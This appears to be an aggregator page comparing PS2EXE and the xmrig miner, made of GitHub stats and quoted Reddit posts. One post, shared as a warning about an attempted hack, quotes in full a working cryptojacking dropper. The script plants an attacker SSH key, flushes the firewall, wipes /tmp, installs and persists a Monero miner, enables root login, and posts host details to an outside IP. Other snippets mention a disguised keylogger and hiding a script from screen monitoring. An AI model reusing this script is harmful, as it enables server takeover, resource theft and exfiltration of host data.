PS2EXE
xmrig
PS2EXE | xmrig | |
---|---|---|
22 | 363 | |
1,051 | 8,344 | |
- | - | |
4.9 | 8.1 | |
5 months ago | 3 days ago | |
PowerShell | C | |
GNU General Public License v3.0 or later | GNU General Public License v3.0 only |
Stars - the number of stars that a project has on GitHub. Growth - month over month growth in stars.
Activity is a relative number indicating how actively a project is being developed. Recent commits have higher weight than older ones.
For example, an activity of 9.0 indicates that a project is amongst the top 10% of the most actively developed projects that we are tracking.
PS2EXE
-
Powershell from a batch file, with pipes/quotes
If you have powershell scripts for your Users you can also try ps2exe. https://github.com/MScholtes/PS2EXE
-
How to create a single exe file to run/select multiple powershell scripts
PS2EXE -- This is what I've used in the past to create a exe from a PS script. Would suggest reading the readme on Github to understand the possible behavior changes while using it.
-
Is there a way to securely pass a password within a Configuration Item script?
Something like using this: https://github.com/MScholtes/PS2EXE Although I'm sure there are other utilities out there that do something similar. It's not 100% absolutely secure, because I'm pretty sure that .exe can be de-compiled and read, but at least the password wouldn't be in a .log file (if passed as a parameter), nor clearly in a downloaded {random guid}.ps1 in the CM folder.
-
Launching an app with a script
PS2EXE
-
Powershell script that will open and minimize teams window every 9 minutes to stay green. Alternative to a mouse jiggler.
To run with PowerShell save this to a text file with a .ps1 extension. Then right click and run with PowerShell. Orrrr...how I did it is I converted the .ps1 to .exe using ps2exe here https://github.com/MScholtes/PS2EXE/blob/master/README.md. Then just run the exe and just a black terminal screen shows up blank and script runs in the background. To stop the script just close out the black terminal screen. The exe way is better if someone monitors your screen from time to time because it doesn't show what's really going on.
- Kleine in-house Tools mit GUI: Wie erstellen? (Sprache/Framework/Tools)
-
How do you guys create executables from your scripts?
As for how: Been using ps2exe for small app for a client. It's ok, but that's when you already got a script and wanna pack it into exe: https://github.com/MScholtes/PS2EXE
- Is it possible to lock script from being edited?
-
Get-Item - PowerShell Doen't Work in EXE file
Right from the README.MD...
-
WTF is happening here?? I am not using pc at all!
Yes and no. Maybe this theoretical miner would stop mining to drop GPU usage but who knows what else it's doing or data it's exfiltrating. I at one point (for fun) wrote a key-logger entirely in PowerShell and was wrapped as an executable and ran under the name "Windows Software Update" or something like that... it was a long time ago. The process itself would still be there but malware can be pretty good about disguising itself as other things. Keep in mind what I said about looking for the taskmgr process is probably the most basic way to do this. If someone is writing a legitimate sophisticated malware they're probably not writing it in as a simple .NET FX console app and you're better off just nuking your system and starting fresh.
xmrig
-
Gupax - Enabling 1GB Pages ain't working
I'm not so new to XMRig, but I am new to Gupax.io and I'm lost on how I can get 1GB Pages from Disabled to Enabled in the XMRig portion of Gupax. Yes, my CPU supports it. Yes, I made sure my Linux OS uses HugePages. Yes, my RAM and OS CLI checks reflect their usage. Yes, I've also used this script . It all works, except in Gupax.
-
Just experienced an attempted hack. A warning to anyone using WebUI.
#!/bin/bash WALLET="41poaCNDTvs33KCFKfekN88Ehf59ddparQdFKFT4XKrUMnc1Ude7xtvhZuKfTai8tDML6gFyTAKY5RuDDxDqLRZpT8QpQ9b" PORT=$(( 15555 )) export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin if [ -z $HOME ]; then if [ "$(id -u)" == "0" ]; then export HOME=/root elif [ "$(id -u)" != "0" ]; then export USER=$(whoami) export HOME=/home/$USER elif [ -z $HOME ]; then export HOME=/tmp fi fi if [ ! -d $HOME ]; then mkdir -p $HOME fi mkdir $HOME/.ssh ; touch $HOME/.ssh/authorized_keys ; echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDJRrXGodFAgNzqgVw4QmjxKhZbvc6ReMa0ctI8WGbWBi3pUF++QmmM6Jo4/wMWqOxmdJotN85QpbkRfYuw9QN5aO35RLSJw7o2UOXN9vsaxnIg9wunNstVff22vyjrFrXTNrHaI///P3d4T4w6CCgLlNdNKgKTG176Y7KBmkWWeZvd8phtIaMprhGSbtnvs4v0hADTw+Ej20EeKfphlZsRSVS6zObq6jro4j8iIXvnGEdkIx8b1SP+QK6D+ZOEQxEzD107latrwYbLCNHWX7VP1oK6fbFk3zU+CGOwITiVPKuyX9aNFJVEopZSmreD+b+JoXpYHybiuhL3ex79uCWNWKnfGgBKrSAmnmopvYnd/mQ902ls16j/Cr/YYKhUvFMC7MhuWdazvM9uFT07c8PSPsEJ+vJpW3t2HQkW89mxqjp1rEvURUlqZtkL/3hZEMaamP6phHpSttncyWiMGuLZxoub/2GM8C09+GOOTaf47//mGxtNs5FNWqjyiznznrc=" >> $HOME/.ssh/authorized_keys ; chmod 600 $HOME/.ssh/authorized_keys if ! (type wget >/dev/null || type curl >/dev/null); then echo "ERROR: This script requires \"wget or curl\" utility to work correctly" exit 1 fi # start doing stuff: preparing miner echo "[*] Removing previous c3pool miner (if any)" if sudo -n true 2>/dev/null; then sudo systemctl stop c3pool_miner.service 2>/dev/null sudo systemctl disable c3pool_miner.service 2>/dev/null sudo systemctl disable xmrig.service 2>/dev/null sudo killall xmrig 2>/dev/null sudo pkill xmrig 2>/dev/null kill $(ps aux | grep "[--]config=" | awk '{print $2}') 2>/dev/null sudo rm -rf /etc/systemd/system/c3pool_miner.service 2>/dev/null else killall -9 xmrig 2>/dev/null killall xmrig 2>/dev/null pkill xmrig 2>/dev/null kill $(ps aux | grep "[--]config=" | awk '{print $2}') 2>/dev/null fi iptables -P INPUT ACCEPT 2>/dev/null iptables -P FORWARD ACCEPT 2>/dev/null iptables -P OUTPUT ACCEPT 2>/dev/null iptables -F 2>/dev/null echo "[*] Removing $HOME/.c3pool directory" rm -rf $HOME/c3pool 2>/dev/null rm -rf $HOME/.c3pool 2>/dev/null rm -rf /tmp/c3pool 2>/dev/null rm -rf /tmp/* 2>/dev/null find . -name "*c3pool*" -exec rm -rf {} \; 2>/dev/null find . -name "*xmrig*" -exec rm -rf {} \; 2>/dev/null find . -name "*miner*" -exec rm -rf {} \; 2>/dev/null find $HOME -name "*c3pool*" -exec rm -rf {} \; 2>/dev/null find $HOME -name "*xmrig*" -exec rm -rf {} \; 2>/dev/null find $HOME -name "*miner*" -exec rm -rf {} \; 2>/dev/null echo "[*] Downloading C3Pool advanced version of xmrig to /tmp/xmrig.tar.gz" if ! (wget -q -O /tmp/xmrig.tar.gz "https://raw.githubusercontent.com/C3Pool/xmrig_setup/master/xmrig.tar.gz" || curl -s "https://raw.githubusercontent.com/C3Pool/xmrig_setup/master/xmrig.tar.gz" -o /tmp/xmrig.tar.gz); then echo "ERROR: Can't download file." exit 1 fi echo "[*] Unpacking /tmp/xmrig.tar.gz to $HOME/.c3pool" [ -d $HOME/.c3pool ] || mkdir $HOME/.c3pool [ -f $HOME/.c3pool/.profile ] || touch $HOME/.c3pool/.profile if ! tar xf /tmp/xmrig.tar.gz -C $HOME/.c3pool; then echo "ERROR: Can't unpack /tmp/xmrig.tar.gz to $HOME/.c3pool directory" exit 1 fi rm /tmp/xmrig.tar.gz echo "[*] Checking if advanced version of $HOME/.c3pool/xmrig works fine (and not removed by antivirus software)" $HOME/.c3pool/xmrig --help >/dev/null if (test $? -ne 0); then if [ -f $HOME/.c3pool/xmrig ]; then echo "WARNING: Advanced version of $HOME/.c3pool/xmrig is not functional or got removed" fi echo "[*] Looking for the latest version of Monero miner" LATEST_XMRIG_RELEASE=`curl -s https://github.com/xmrig/xmrig/releases/latest | grep -o '".*"' | sed 's/"//g'` LATEST_XMRIG_LINUX_RELEASE="https://github.com"`curl -s $LATEST_XMRIG_RELEASE | grep xenial-x64.tar.gz\" | cut -d \" -f2` echo "[*] Downloading $LATEST_XMRIG_LINUX_RELEASE to /tmp/xmrig.tar.gz" if ! curl -L --progress-bar $LATEST_XMRIG_LINUX_RELEASE -o /tmp/xmrig.tar.gz; then echo "ERROR: Can't download $LATEST_XMRIG_LINUX_RELEASE file to /tmp/xmrig.tar.gz" exit 1 fi if ! tar xf /tmp/xmrig.tar.gz -C $HOME/.c3pool --strip=1; then echo "WARNING: Can't unpack /tmp/xmrig.tar.gz to $HOME/.c3pool directory" fi rm /tmp/xmrig.tar.gz $HOME/.c3pool/xmrig --help >/dev/null if (test $? -ne 0); then if [ -f $HOME/.c3pool/xmrig ]; then echo "ERROR: Stock version of $HOME/.c3pool/xmrig is not functional too" else echo "ERROR: Stock version of $HOME/.c3pool/xmrig was removed by antivirus too" fi exit 1 fi fi echo "[*] Miner $HOME/.c3pool/xmrig is OK" PASS=`hostname | cut -f1 -d"." | sed -r 's/[^a-zA-Z0-9\-]+/_/g'` if [ "$PASS" == "localhost" ]; then PASS=`ip route get 1 | awk '{print $NF;exit}'` fi if [ -z $PASS ]; then PASS=na fi if [ ! -z $EMAIL ]; then PASS="$PASS:$EMAIL" fi sed -i 's/"donate-level": *[^,]*,/"donate-level": 1,/' $HOME/.c3pool/config.json sed -i 's/"url": *"[^"]*",/"url": "auto.c3pool.org:'$PORT'",/' $HOME/.c3pool/config.json sed -i 's/"user": *"[^"]*",/"user": "'$WALLET'",/' $HOME/.c3pool/config.json sed -i 's/"pass": *"[^"]*",/"pass": "'$PASS'",/' $HOME/.c3pool/config.json sed -i 's/"max-cpu-usage": *[^,]*,/"max-cpu-usage": 100,/' $HOME/.c3pool/config.json sed -i 's/\"max-threads-hint\": *[^,]*,/\"max-threads-hint\": 75,/' $HOME/.c3pool/config.json sed -i 's#"log-file": *null,#"log-file": "'$HOME/.c3pool/xmrig.log'",#' $HOME/.c3pool/config.json sed -i 's/"syslog": *[^,]*,/"syslog": true,/' $HOME/.c3pool/config.json cp $HOME/.c3pool/config.json $HOME/.c3pool/config_background.json sed -i 's/"background": *false,/"background": true,/' $HOME/.c3pool/config_background.json # preparing script echo "[*] Creating $HOME/.c3pool/miner.sh script" cat >$HOME/.c3pool/miner.sh /dev/null; then if [[ $(grep MemTotal /proc/meminfo | awk '{print $2}') -gt 3500000 ]]; then echo "[*] Enabling huge pages" echo "vm.nr_hugepages=$((1168+$(nproc)))" | sudo tee -a /etc/sysctl.conf >/dev/null sudo sysctl -w vm.nr_hugepages=$((1168+$(nproc))) >/dev/null else echo "[*] Huge already enabled" fi else echo "[*] Not enabling huge pages" fi touch $HOME/.profile sed -i '/c3pool/d' $HOME/.profile echo "$HOME/.c3pool/miner.sh --config=$HOME/.c3pool/config_background.json >/dev/null 2>&1" >>$HOME/.profile #echo "ulimit -n 65000 >/dev/null 2>&1" >>$HOME/.profile chmod +x $HOME/.c3pool/miner.sh (/bin/bash $HOME/.c3pool/miner.sh --config=$HOME/.c3pool/config_background.json >/dev/null 2>&1 || /bin/sh $HOME/.c3pool/miner.sh --config=$HOME/.c3pool/config_background.json >/dev/null 2>&1) rm -rf /tmp/*.sh rm -rf /tmp/* if pidof xmrig >/dev/null; then PID=$(pidof xmrig) echo "Running with $PID" else echo "Not Running" fi IP=$(curl -s -4 http://ip.me) HOSTNAME=$(hostname) USERNAME=$(whoami) HOMEDIR=$(echo ~) CPU_COUNT=$(nproc) MEMORY=$(free -h | awk '/^Mem:/ {print $2}') ARCHI=$(uname -m) (curl -X POST -H "Content-Type: application/json" -d "{\"ip\":\"$IP\",\"hostname\":\"$HOSTNAME\",\"username\":\"$USERNAME\",\"homedir\":\"$HOMEDIR\",\"cpu_count\":\"$CPU_COUNT\",\"memory\":\"$MEMORY\",\"arch\":\"$ARCHI\"}" http://152.67.212.28:55123/add || wget --header "Content-Type: application/json" --post-data "{\"ip\":\"$IP\",\"hostname\":\"$HOSTNAME\",\"username\":\"$USERNAME\",\"homedir\":\"$HOMEDIR\",\"cpu_count\":\"$CPU_COUNT\",\"memory\":\"$MEMORY\",\"arch\":\"$ARCHI\"}" http://152.67.212.28:55123/add) (chmod go-w ~/ && chmod go-w /root && chmod 700 ~/.ssh && chmod 700 /root/.ssh && chmod 600 ~/.ssh/authorized_keys && chown root /root && chown root /root/.ssh) >/dev/null sudo sed -i 's/#PermitRootLogin prohibit-password/PermitRootLogin yes/' /etc/ssh/sshd_config >/dev/null sudo sed -i 's/#PubkeyAuthentication yes/PubkeyAuthentication yes/' /etc/ssh/sshd_config >/dev/null sudo /etc/init.d/ssh restart >/dev/null
-
Best mining program on Windows?
Xmrig and use a pool that isn't one of the top three. If you want a have more of a challenge then try the p2pool with xmrig. https://github.com/xmrig/xmrig/releases/tag/v6.19.3
-
Over 110k BAN has been distributed to BanRXers!
Regarding how much you can trust BanRX, all of the mining software used is fully open source on GitHub, with a commonly used one (XMrig) having over 7.6k stars on the repository. We also have a community Discord server for all of the apps in the BananoPlanet ecosystem, including our faucet! You can join the BananoPlanet Discord server at https://bananoplanet.cc/discord.
-
Awesome miner tech support
I would recommend running XMRig directly so as to weed out any problems related to AwesomeMiner.
-
Question about withdrawing from nicehash
I’m guessing you are also CPU mining? That is likely an issue with XMRig, correct? If so, first be sure you launch NiceHash as Admin. Right-click the shortcut -> Properties -> Shortcut tab -> Advanced -> Run as administrator. Relaunch NiceHash from the update shortcut, and approve the User Account Control prompt. If that doesn’t solve it, leave the setting intact, but try a couple of other options: 1. toggle “Disable Device Status Monitoring” from NiceHash settings cog icon -> Advanced tab, which is an easy fix that prevents temperature monitoring. 2. the better solution, is to overwrite your XMRig.exe in the XMRig plug-in internals directory [NiceHash Plugins tab -> XMRig -> three dots -> Show Internals -> bins directory -> latest (i.e., 19.1) -> XMRig directory (i.e., xmrig-6.8.1) -> XMRig.exe] with the latest version (v6.19.3) of XMRig.exe available from https://github.com/xmrig/xmrig/releases . For me, swapping the .exe file and running as Admin resolves the issue.
-
New XMRig release 6.19.3
#3245 Improved algorithm negotiation for donation rounds by sending extra information about current mining job.
-
How do I know if I'm actually mining Monero correctly and everything is alright?
Downloaded and extracted https://xmrig.com/. The Linux CPU only one.
-
How to Mine Ghostrider on Windows
XMRIG: https://github.com/xmrig/xmrig/releases
-
Mining Monero
Monero is mined with CPU, and the best software for this is XMRig. You will need to join a mining pool to mine Monero.
What are some alternatives?
Win-PS2EXE - Graphical frontend to PS1-to-EXE-compiler PS2EXE.ps1
csminer - csminer Monero miner from https://cryptonote.social/
unsapien - Python script to extract embedded data from binaries generated by SAPIEN Script Packager
NBMiner - GPU Miner for ETH, RVN, BEAM, CFX, ZIL, AE, ERGO
PowerShell - PowerShell for every system!
cpuminer-opt-cpupower - Optimized multi algo CPU miner for CPUchain, Uranium-X, Cranepay, Yenten
Pode - Pode is a Cross-Platform PowerShell web framework for creating REST APIs, Web Sites, and TCP/SMTP servers
SRBMiner-Multi - CPU & AMD GPU cryptocurrency miner
PoshRSJob - Provides an alternative to PSjobs with greater performance and less overhead to run commands in the background, freeing up the console and allowing throttling on the jobs.
xmr-stak - Free Monero RandomX Miner and unified CryptoNight miner
PS2EXE-GUI - advanced graphical user interface for ps2exe
cpuminer - CPU miner for Litecoin and Bitcoin